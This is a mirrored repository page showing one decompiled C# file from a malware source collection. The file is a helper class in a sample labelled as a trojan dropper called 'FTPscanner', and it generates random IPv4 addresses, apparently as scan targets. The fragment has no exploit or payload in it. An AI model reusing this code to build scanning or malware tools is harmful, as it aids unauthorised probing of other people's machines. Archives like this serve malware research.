mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
f2ac1ece55
add
20 lines
767 B
C#
20 lines
767 B
C#
// Decompiled with JetBrains decompiler
|
|
// Type: FTPscanner.Rng
|
|
// Assembly: FTPscanner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 8469568A-499F-4FFB-88BB-33DD24B78A55
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Sysn.axrz-65a382451dd46ba81b5db9e85a6a586162c5d430c853bf4f688f48a71af44313.exe
|
|
|
|
using System;
|
|
|
|
namespace FTPscanner
|
|
{
|
|
internal class Rng
|
|
{
|
|
public static Random _rng = new Random();
|
|
|
|
public static int Next(int min, int max) => Rng._rng.Next(min, max);
|
|
|
|
public static string GenerateIp() => Rng.Next(50, 220).ToString() + "." + (object) Rng.Next(10, 100) + "." + (object) Rng.Next(1, (int) byte.MaxValue) + "." + (object) Rng.Next(1, (int) byte.MaxValue);
|
|
}
|
|
}
|